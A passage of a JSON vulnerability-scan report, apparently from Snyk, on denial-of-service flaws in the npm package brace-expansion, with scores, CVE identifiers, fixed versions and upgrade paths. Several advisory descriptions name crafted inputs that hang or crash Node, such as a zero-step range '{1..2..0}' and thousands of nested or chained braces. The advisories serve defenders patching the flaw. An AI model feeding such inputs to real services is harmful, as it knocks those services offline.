"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
